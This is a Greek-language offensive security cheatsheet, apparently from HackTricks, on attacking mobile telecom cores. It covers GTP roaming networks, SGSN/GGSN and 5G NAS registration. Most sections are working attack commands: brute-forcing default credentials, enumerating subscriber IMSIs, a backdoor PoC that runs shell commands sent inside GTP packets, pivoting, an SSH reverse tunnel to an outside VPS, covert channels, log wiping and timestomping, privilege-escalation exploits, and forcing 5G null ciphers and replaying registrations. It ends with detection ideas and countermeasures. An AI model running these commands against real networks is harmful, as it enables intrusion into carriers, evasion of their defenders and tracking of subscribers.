16 KiB
Εκμετάλλευση Δικτύου Τηλεπικοινωνιών (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
Note
Τα mobile-core πρωτόκολλα (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι-έμπιστες GRX/IPX roaming ραχοκοκαλιές. Επειδή ταξιδεύουν πάνω σε απλό UDP με σχεδόν καθόλου authentication, οποιοδήποτε foothold εντός της τηλεπικοινωνιακής περίμετρου συνήθως μπορεί να φτάσει άμεσα τα core signalling planes. Οι ακόλουθες σημειώσεις συγκεντρώνουν offensive tricks παρατηρημένα στο wild εναντίον SGSN/GGSN, PGW/SGW και άλλων EPC κόμβων.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … A dedicated wordlist dramatically increases brute-force success:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Εάν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).
1.2 Host Discovery μέσα στο GRX/IPX
Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν ICMP echo σε όλο το backbone. Συνδυάστε το masscan
με τους ενσωματωμένους gtpv1
UDP probes για να χαρτογραφήσετε γρήγορα τους ακροατές GTP-C:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Απαρίθμηση Συνδρομητών – cordscan
Το ακόλουθο εργαλείο Go δημιουργεί πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει την τρέχουσα SGSN / MME που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Βασικά ορίσματα:
--imsi
IMSI του στοχευόμενου συνδρομητή--oper
Home / HNI (MCC+MNC)-w
Εγγραφή ακατέργαστων πακέτων σε pcap
Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor
είναι μια μικρή ELF υπηρεσία που δένεται στο UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω /bin/sh -c
. Το stdout/stderr εξάγεται μέσα σε μηνύματα Echo Response έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.
Ελάχιστο PoC πακέτο (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Ανίχνευση:
- οποιοδήποτε host που στέλνει unbalanced Echo Requests σε SGSN IPs
- σημαία έκδοσης GTP ορισμένη σε 1 ενώ message type = 1 (Echo) – απόκλιση από τις προδιαγραφές
4. Pivoting μέσω του Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
παρέχει έναν SGSN emulator ικανό να establish a PDP context towards a real GGSN/PGW. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή tun0
που είναι προσβάσιμη από τον roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο data plane.
4.2 SSH Reverse Tunnel over Port 53
Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στην :53 και επιστρέψτε αργότερα από το σπίτι:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Ελέγξτε ότι GatewayPorts yes
είναι ενεργοποιημένο στο VPS.
5. Covert Channels
Channel | Transport | Decoding | Notes |
---|---|---|---|
ICMP – EchoBackdoor |
ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός listener, χωρίς εξερχόμενη κίνηση |
DNS – NoDepDNS |
UDP 53 | XOR (key = funnyAndHappy ) encoded in A-record octets |
παρακολουθεί για *.nodep υποτομέα |
GTP – GTPDoor |
UDP 2123 | AES-128-CBC blob in private IE | συνδυάζεται με νόμιμη GTP-C κίνηση |
Όλα τα implants υλοποιούν watchdogs που timestomp τα binaries τους και επανεκκινούνται αν καταρρεύσουν.
6. Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation σε Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Συμβουλή καθαρισμού:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling described in previous sections.FScan
: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lightweight SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω στο NGAP. Μέχρι να ενεργοποιηθεί η ασφάλεια NAS μέσω Security Mode Command/Complete, τα αρχικά μηνύματα είναι μη αυθεντικοποιημένα και μη κρυπτογραφημένα. Αυτό το παράθυρο προ-ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την κίνηση N2 (π.χ., on-path μέσα στον core, rogue gNB, ή testbed).
Registration flow (simplified):
- Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
- Authentication: AMF/AUSF στέλνουν RAND/AUTN; UE επιστρέφει RES*.
- Security Mode Command/Complete: NAS integrity και ciphering διαπραγματεύονται και ενεργοποιούνται.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows.
- UE: simulator ή test UE; decode με Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκωθεί πλήρες rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει έλλειψη ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητών.
Πώς να το δοκιμάσετε:
- Capture το πρώτο NAS μήνυμα στο InitialUEMessage και εξετάστε το Mobile Identity IE.
- Wireshark quick checks:
- Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI.
- Παραδείγματα φίλτρων:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
θα πρέπει να υπάρχει; η απουσία του μαζί με την παρουσίαimsi
υποδεικνύει leak.
Τι να συλλέξετε:
- MCC/MNC/MSIN αν εκτίθενται; log ανά-UE και παρακολούθηση σε χρόνο/τοποθεσίες.
Αντιμετώπιση:
- Επιβάλλετε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE διαφημίζει υποστηριζόμενα EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
- Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.
Issue:
- Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits δυνατοτήτων για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.
Offensive steps:
- Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
- Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
- Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.
Verification/visibility:
- Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγόριθμους μετά το Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Μέτρα αντιμετώπισης (υποχρεωτικά):
- Διαμορφώστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου είναι αυστηρώς επιβεβλημένο (π.χ., κλήσεις έκτακτης ανάγκης).
- Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο · καταγράψτε και ειδοποιήστε (log and alarm) για οποιονδήποτε NAS security context που διαπραγματεύεται null algorithms.
9.3 Replay του αρχικού Registration Request (pre-security NAS)
Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να επαναληφθεί προς το AMF.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Τι να παρατηρήσετε:
- Εάν το AMF αποδέχεται το replay και προχωρά στην Authentication· η έλλειψη επικύρωσης freshness/context υποδεικνύει ευπάθεια.
Αντιμετώπιση:
- Επιβάλλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.
9.4 Συμβουλές για εργαλεία (αναπαραγώγιμα)
- Open5GS: ξεκινήστε ένα AMF/SMF/UPF για να προσομοιώσετε το core· παρατηρήστε N2 (NGAP) και NAS.
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε την Registration.
- 5GReplay: καταγράψτε μια registration, και μετά replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
- Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences.
9.5 Λίστα ελέγχου άμυνας
- Επιθεωρείτε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
- Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
- Εντοπίστε rogue ή κακώς διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απρόσμενοι N2 peers.
- Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.
Ιδέες Ανίχνευσης
- Οποιαδήποτε συσκευή, εκτός από SGSN/GGSN, που προβαίνει σε Create PDP Context Requests.
- Μη-τυπικές θύρες (53, 80, 443) που δέχονται SSH handshakes από εσωτερικά IPs.
- Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses – μπορεί να υποδεικνύουν GTPDoor beacons.
- Υψηλός ρυθμός ICMP echo-reply κυκλοφορίας με μεγάλα, μη-μηδενικά πεδία identifier/sequence.
- 5G: InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints (σήμα replay).
- 5G: NAS Security Mode που διαπραγματεύεται EEA0/EIA0 εκτός συμφραζομένων έκτακτης ανάγκης.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}